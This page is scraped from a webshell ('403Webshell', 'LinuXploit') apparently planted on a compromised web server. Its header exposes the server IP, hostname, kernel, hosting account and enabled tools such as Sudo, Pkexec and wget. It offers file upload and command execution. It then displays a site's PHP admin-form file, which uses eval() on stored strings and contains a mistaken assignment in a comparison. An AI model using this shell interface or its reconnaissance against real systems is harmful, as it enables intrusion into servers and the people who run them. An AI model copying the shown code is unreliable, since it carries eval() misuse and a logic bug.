403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/members/kernel/manage_data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/members/kernel/manage_data/edit_entry.php
<?

        echo "<table width=100% class=tables>
               <tr><td colspan=2 class=adm_menu_cat>".$SUBJ." #{$line[$rid]}</td></tr>
               <tr><td width=70% valign=top>";

        if (isset($line[$status]) && $show_approve)
               echo ($line[$status] == 0 ? "<input type=button name=appr_{$line[$rid]} value='Approve!' onclick=\"set_values({$line[$rid]});\"> <input type=button name=decl_{$line[$rid]} value='Decline' onclick=\"set_decl({$line[$rid]});\">" : '');

        echo "<table width=100%>";

        foreach ($editable as $able) {
                echo "<tr><td class=key width=150px>";
		    if ($able != 'i_daily_status')
			  echo($fields[$table][$able]['title'].":");

                eval ($evals[$able]);

                echo "</td><td>";

                $name = 'edit['.$line[$rid].']['.$able.']';
                if ($fields[$table][$able]['field'] == 'file')
                        $name = 'file_'.$line[$rid].'_'.$able;

          //status control
                if ($able == $status) {
                        echo "<select name='$name' class=inp100>";
                        foreach ($statfield as $k => $v)
                                echo "<option value='$k'".($line[$able] == $k ? ' selected' : '').">$v</option>";
                        echo "</select>";
                        }

	    elseif ($able == 'i_daily_status')
	    {
         
        	 echo "<input type=checkbox name='$name' value=1 ".($line[$able] == 1? ' checked' : '')." id='$name'><b><label for='add_$line[$rid]'> Add to Slide Show?</label></b>";
	   
	    }

          //file upload
                elseif ($fields[$table][$able]['field'] == 'file'){
                        echo "<input type=file name='$name' class=inp100>";
                        }
          //textarea
                elseif ($fields[$table][$able]['type'] == 'MEDIUMTEXT' || $fields[$table][$able]['type'] == 'BLOB' || $fields[$table][$able]['field'] == 'text') {
                        echo "<textarea name='$name' class=inp100 rows=10>".html_output(stripslashes($line[$able]))."</textarea>";
                        }
          //set - select
                elseif (is_array($fields[$table][$able]['field'])) {
                        echo "<select name='$name' class=inp100>";

                        foreach ($fields[$table][$able]['field'] as $key => $value)
                                echo '<option value="'.$key.'"'.($key == $line[$able] ? ' selected' : '').'>'.html_output($value).'</option>';

                        echo "</select>";
                        }
          //category
                elseif ($fields[$table][$able]['field'] == 'cat'){
                        $name = 'cat_'.$able.'_'.$line[$rid];

                        $p = $line[$ctg];

                        $catpath = '';
                        $opts = '';
                        $kts = 0; $kat = array();


                        while($p!=0) {
                                $kat[++$kts] = $catz[$p];
                                $p = $catz[$p][c_parent];
                                }

                        echo "<select name='$name' onchange=\"ch_options('includes/catbox.php?form=ch&lang=$en[sortlang]&combo=$name', this.value);\" class=inp100>";
                        echo '<option value=-1'.($line[$able] == -1 ? ' selected' : '').'>None</option>';


                        for ($k = $kts; $k > 0; $k--) {
                                $catpath .= ' :: '.$kat[$k]['c_name_'.$en['sortlang']];
                                if (substr($catpath,0,4) == ' :: ') $catpath = substr($catpath,4);
                                $opts .= '<option value='.$kat[$k][c_id].($kat[$k][c_id] = $line[$ctg] ? ' selected' : '').'>'.html_output($catpath).'</option>';
                                }

                        echo $opts;

                        echo '<option value=0'.($line[$able] == 0 ? ' selected' : '').'>'.($line[$able] == 0 ? 'Home' : 'Select Other...').'</option>';
                        echo '</select>';
                        }

          //language
                elseif ($fields[$table][$able]['field'] == 'lang'){
                        echo "<select name='$name' class=inp100>";
                        foreach ($langs as $value)
                                echo "<option value='".$value['l_code']."'".($value['l_code'] == $line[$able] ? ' selected' : '').">".html_output($value['l_name']).'</option>';
                        echo "<option value='all'".('all' == $line[$able] ? ' selected' : '').'>All Languages</option>';
                        echo "</select>";
                        }

          //module
                elseif ($fields[$table][$able]['field'] == 'module'){
                        echo "<select name='$name' class=inp100>";
                        foreach ($page_modules as $value)
                                echo "<option value='".$value."'".($value == $line[$able] ? ' selected' : '').">".html_output($modules[$value]['name']).'</option>';
                        echo "</select>";
                        }

          //ordinary text input
                else   {
                        echo "<input type=text name='$name' value='".html_output($line[$able])."' class=inp100>";
                        }

                echo "</td></tr>";
                }

        echo  "</table>";

?>

Youez - 2016 - github.com/yon3zu
LinuXploit